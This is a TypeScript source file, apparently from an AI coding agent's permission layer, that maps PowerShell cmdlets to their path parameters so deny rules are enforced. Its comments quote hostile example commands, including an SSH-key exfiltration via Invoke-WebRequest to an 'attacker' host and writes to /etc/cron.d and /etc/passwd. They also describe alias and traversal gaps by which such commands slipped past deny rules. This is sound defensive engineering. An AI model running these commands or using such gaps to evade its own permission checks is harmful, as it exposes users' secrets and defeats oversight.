File size: 73,059 Bytes
064bfd6 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 | /**
* PowerShell-specific path validation for command arguments.
*
* Extracts file paths from PowerShell commands using the AST parser
* and validates they stay within allowed project directories.
* Follows the same patterns as BashTool/pathValidation.ts.
*/
import { homedir } from 'os'
import { isAbsolute, resolve } from 'path'
import type { ToolPermissionContext } from '../../Tool.js'
import type { PermissionRule } from '../../types/permissions.js'
import { getCwd } from '../../utils/cwd.js'
import {
getFsImplementation,
safeResolvePath,
} from '../../utils/fsOperations.js'
import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js'
import {
allWorkingDirectories,
checkEditableInternalPath,
checkPathSafetyForAutoEdit,
checkReadableInternalPath,
matchingRuleForInput,
pathInAllowedWorkingPath,
} from '../../utils/permissions/filesystem.js'
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
import {
isDangerousRemovalPath,
isPathInSandboxWriteAllowlist,
} from '../../utils/permissions/pathValidation.js'
import { getPlatform } from '../../utils/platform.js'
import type {
ParsedCommandElement,
ParsedPowerShellCommand,
} from '../../utils/powershell/parser.js'
import {
isNullRedirectionTarget,
isPowerShellParameter,
} from '../../utils/powershell/parser.js'
import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js'
import { resolveToCanonical } from './readOnlyValidation.js'
const MAX_DIRS_TO_LIST = 5
// PowerShell wildcards are only * ? [ ] β braces are LITERAL characters
// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
// through glob-base truncation instead of full-path symlink resolution.
const GLOB_PATTERN_REGEX = /[*?[\]]/
type FileOperationType = 'read' | 'write' | 'create'
type PathCheckResult = {
allowed: boolean
decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason
}
type ResolvedPathCheckResult = PathCheckResult & {
resolvedPath: string
}
/**
* Per-cmdlet parameter configuration.
*
* Each entry declares:
* - operationType: whether this cmdlet reads or writes to the filesystem
* - pathParams: parameters that accept file paths (validated against allowed directories)
* - knownSwitches: switch parameters (take NO value) β next arg is NOT consumed
* - knownValueParams: value-taking parameters that are NOT paths β next arg IS consumed
* but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt)
*
* SECURITY MODEL: Any -Param NOT in one of these three sets forces
* hasUnvalidatablePathArg β ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole
* where every missing switch caused the unknown-param heuristic to swallow the
* next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow
* with invocations we fully understand.
*
* Sources:
* - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1
* - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis)
*
* NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here;
* they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time.
*
* Parameter names are lowercase with leading dash to match runtime comparison.
*/
type CmdletPathConfig = {
operationType: FileOperationType
/** Parameter names that accept file paths (validated against allowed directories) */
pathParams: string[]
/** Switch parameters that take no value (next arg is NOT consumed) */
knownSwitches: string[]
/** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */
knownValueParams: string[]
/**
* Parameter names that accept a leaf filename resolved by PowerShell
* relative to ANOTHER parameter (not cwd). Safe to extract only when the
* value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are
* flagged as unvalidatable because validatePath resolves against cwd, not
* the actual base β joining against -Path would need cross-parameter
* tracking.
*/
leafOnlyPathParams?: string[]
/**
* Number of leading positional arguments to skip (NOT extracted as paths).
* Used for cmdlets where positional-0 is a non-path value β e.g.,
* Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path.
* Without this, `iwr http://example.com` extracts `http://example.com` as
* a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on
* the URL scheme with a confusing "non-filesystem provider" message.
*/
positionalSkip?: number
/**
* When true, this cmdlet only writes to disk when a pathParam is present.
* Without a path (e.g., `Invoke-WebRequest https://example.com` with no
* -OutFile), it's effectively a read operation β output goes to the pipeline,
* not the filesystem. Skips the "write with no target path" forced-ask.
* Cmdlets like Set-Content that ALWAYS write should NOT set this.
*/
optionalWrite?: boolean
}
const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = {
// βββ Write/create operations ββββββββββββββββββββββββββββββββββββββββββββββ
'set-content': {
operationType: 'write',
// -PSPath and -LP are runtime aliases for -LiteralPath on all provider
// cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
// unknown-param branch β path trapped β paths=[] β deny never consulted.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-passthru',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
'-nonewline',
'-asbytestream', // PS 6+
],
knownValueParams: [
'-value',
'-filter',
'-include',
'-exclude',
'-credential',
'-encoding',
'-stream',
],
},
'add-content': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-passthru',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
'-nonewline',
'-asbytestream', // PS 6+
],
knownValueParams: [
'-value',
'-filter',
'-include',
'-exclude',
'-credential',
'-encoding',
'-stream',
],
},
'remove-item': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-recurse',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-stream',
],
},
'clear-content': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-stream',
],
},
// Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
// deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
// *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
// file paths positionally.
'out-file': {
operationType: 'write',
// Out-File uses -FilePath (position 0). -Path is PowerShell's documented
// ALIAS for -FilePath β must be in pathParams or `Out-File -Path:./x`
// (colon syntax, one token) falls to unknown-param β value trapped β
// paths=[] β Edit deny never consulted β ask (fail-safe but deny downgrade).
pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-append',
'-force',
'-noclobber',
'-nonewline',
'-whatif',
'-confirm',
],
knownValueParams: ['-inputobject', '-encoding', '-width'],
},
'tee-object': {
operationType: 'write',
// Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-append'],
knownValueParams: ['-inputobject', '-variable', '-encoding'],
},
'export-csv': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-append',
'-force',
'-noclobber',
'-notypeinformation',
'-includetypeinformation',
'-useculture',
'-noheader',
'-whatif',
'-confirm',
],
knownValueParams: [
'-inputobject',
'-delimiter',
'-encoding',
'-quotefields',
'-usequotes',
],
},
'export-clixml': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
knownValueParams: ['-inputobject', '-depth', '-encoding'],
},
// New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` β
// resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES β not in
// config β early return {paths:[], 'read'} β Edit deny never consulted.
//
// Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
// dest). operationType:'write' is imperfect β source is semantically a read
// β but it means BOTH paths get Edit-deny validation, which is strictly
// safer than extracting neither. A per-param operationType would be ideal
// but that's a bigger schema change; blunt 'write' closes the gap now.
'new-item': {
operationType: 'write',
// -Path is position 0. -Name (position 1) is resolved by PowerShell
// RELATIVE TO -Path (per MS docs: "you can specify the path of the new
// item in Name"), including `..` traversal. We resolve against CWD
// (validatePath L930), not -Path β so `New-Item -Path /allowed
// -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
// but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
// the deny rule. This is a denyβask downgrade, not fail-safe.
//
// -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
// extracted (resolves to cwd/foo.txt β slightly wrong, but -Path
// extraction covers the directory, and a leaf can't traverse);
// any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg β
// ask. Joining -Name against -Path would be correct but needs
// cross-parameter tracking β out of scope here.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
leafOnlyPathParams: ['-name'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
},
'copy-item': {
operationType: 'write',
// -Path (position 0) is source, -Destination (position 1) is dest.
// Both extracted; both validated as write.
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
knownSwitches: [
'-container',
'-force',
'-passthru',
'-recurse',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-fromsession',
'-tosession',
],
},
'move-item': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
knownSwitches: [
'-force',
'-passthru',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
},
// rename-item/set-item: same class β ren/rni/si in COMMON_ALIASES, neither
// was in config. `ren /etc/passwd passwd.bak` β resolves to rename-item
// β not in config β {paths:[], 'read'} β Edit deny bypassed. This closes
// the COMMON_ALIASESβCMDLET_PATH_CONFIG coverage audit: every
// write-cmdlet alias now resolves to a config entry.
'rename-item': {
operationType: 'write',
// -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
// "You cannot specify a new drive or a different path") and Rename-Item
// explicitly rejects `..` in it β so knownValueParams is correct here,
// unlike New-Item -Name which accepts traversal.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-force',
'-passthru',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-newname',
'-credential',
'-filter',
'-include',
'-exclude',
],
},
'set-item': {
operationType: 'write',
// FileSystem provider throws NotSupportedException for Set-Item content,
// so the practical write surface is registry/env/function/alias providers.
// Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
// step 3.5 in powershellPermissions.ts, but classifying set-item as write
// here is defense-in-depth β powershellSecurity.ts:379 already lists it
// in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-force',
'-passthru',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-value',
'-credential',
'-filter',
'-include',
'-exclude',
],
},
// βββ Read operations ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
'get-content': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-force',
'-usetransaction',
'-wait',
'-raw',
'-asbytestream', // PS 6+
],
knownValueParams: [
'-readcount',
'-totalcount',
'-tail',
'-first', // alias for -TotalCount
'-head', // alias for -TotalCount
'-last', // alias for -Tail
'-filter',
'-include',
'-exclude',
'-credential',
'-delimiter',
'-encoding',
'-stream',
],
},
'get-childitem': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-recurse',
'-force',
'-name',
'-usetransaction',
'-followsymlink',
'-directory',
'-file',
'-hidden',
'-readonly',
'-system',
],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-depth',
'-attributes',
'-credential',
],
},
'get-item': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-usetransaction'],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-stream',
],
},
'get-itemproperty': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-usetransaction'],
knownValueParams: [
'-name',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'get-itempropertyvalue': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-usetransaction'],
knownValueParams: [
'-name',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'get-filehash': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [],
knownValueParams: ['-algorithm', '-inputstream'],
},
'get-acl': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
},
'format-hex': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-raw'],
knownValueParams: [
'-inputobject',
'-encoding',
'-count', // PS 6+
'-offset', // PS 6+
],
},
'test-path': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-isvalid', '-usetransaction'],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-pathtype',
'-credential',
'-olderthan',
'-newerthan',
],
},
'resolve-path': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-relative', '-usetransaction', '-force'],
knownValueParams: ['-credential', '-relativebasepath'],
},
'convert-path': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-usetransaction'],
knownValueParams: [],
},
'select-string': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-simplematch',
'-casesensitive',
'-quiet',
'-list',
'-notmatch',
'-allmatches',
'-noemphasis', // PS 7+
'-raw', // PS 7+
],
knownValueParams: [
'-inputobject',
'-pattern',
'-include',
'-exclude',
'-encoding',
'-context',
'-culture', // PS 7+
],
},
'set-location': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-passthru', '-usetransaction'],
knownValueParams: ['-stackname'],
},
'push-location': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-passthru', '-usetransaction'],
knownValueParams: ['-stackname'],
},
'pop-location': {
operationType: 'read',
// Pop-Location has no -Path/-LiteralPath (it pops from the stack),
// but we keep the entry so it passes through path validation gracefully.
pathParams: [],
knownSwitches: ['-passthru', '-usetransaction'],
knownValueParams: ['-stackname'],
},
'select-xml': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [],
knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
},
'get-winevent': {
operationType: 'read',
// Get-WinEvent only has -Path, no -LiteralPath
pathParams: ['-path'],
knownSwitches: ['-force', '-oldest'],
knownValueParams: [
'-listlog',
'-logname',
'-listprovider',
'-providername',
'-maxevents',
'-computername',
'-credential',
'-filterxpath',
'-filterxml',
'-filterhashtable',
],
},
// Write-path cmdlets with output parameters. Without these entries,
// -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
'invoke-webrequest': {
operationType: 'write',
// -OutFile is the write target; -InFile is a read source (uploads a local
// file). Both are in pathParams so Edit deny rules are consulted (this
// config is operationType:write β permissionType:edit). A user with
// Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
// -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
// for write-type cmdlets β that's a known limitation of the
// operationTypeβpermissionType mapping.
pathParams: ['-outfile', '-infile'],
positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
knownSwitches: [
'-allowinsecureredirect',
'-allowunencryptedauthentication',
'-disablekeepalive',
'-nobodyprogress',
'-passthru',
'-preservefileauthorizationmetadata',
'-resume',
'-skipcertificatecheck',
'-skipheadervalidation',
'-skiphttperrorcheck',
'-usebasicparsing',
'-usedefaultcredentials',
],
knownValueParams: [
'-uri',
'-method',
'-body',
'-contenttype',
'-headers',
'-maximumredirection',
'-maximumretrycount',
'-proxy',
'-proxycredential',
'-retryintervalsec',
'-sessionvariable',
'-timeoutsec',
'-token',
'-transferencoding',
'-useragent',
'-websession',
'-credential',
'-authentication',
'-certificate',
'-certificatethumbprint',
'-form',
'-httpversion',
],
},
'invoke-restmethod': {
operationType: 'write',
// -OutFile is the write target; -InFile is a read source (uploads a local
// file). Both must be in pathParams so deny rules are consulted.
pathParams: ['-outfile', '-infile'],
positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
knownSwitches: [
'-allowinsecureredirect',
'-allowunencryptedauthentication',
'-disablekeepalive',
'-followrellink',
'-nobodyprogress',
'-passthru',
'-preservefileauthorizationmetadata',
'-resume',
'-skipcertificatecheck',
'-skipheadervalidation',
'-skiphttperrorcheck',
'-usebasicparsing',
'-usedefaultcredentials',
],
knownValueParams: [
'-uri',
'-method',
'-body',
'-contenttype',
'-headers',
'-maximumfollowrellink',
'-maximumredirection',
'-maximumretrycount',
'-proxy',
'-proxycredential',
'-responseheaderstvariable',
'-retryintervalsec',
'-sessionvariable',
'-statuscodevariable',
'-timeoutsec',
'-token',
'-transferencoding',
'-useragent',
'-websession',
'-credential',
'-authentication',
'-certificate',
'-certificatethumbprint',
'-form',
'-httpversion',
],
},
'expand-archive': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
knownValueParams: [],
},
'compress-archive': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
knownValueParams: ['-compressionlevel'],
},
// *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
// remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
// HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
// Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
// set-item's rationale.
'set-itemproperty': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-passthru',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-name',
'-value',
'-type',
'-filter',
'-include',
'-exclude',
'-credential',
'-inputobject',
],
},
'new-itemproperty': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: [
'-name',
'-value',
'-propertytype',
'-type',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'remove-itemproperty': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: [
'-name',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'clear-item': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
},
'export-alias': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-append',
'-force',
'-noclobber',
'-passthru',
'-whatif',
'-confirm',
],
knownValueParams: ['-name', '-description', '-scope', '-as'],
},
}
/**
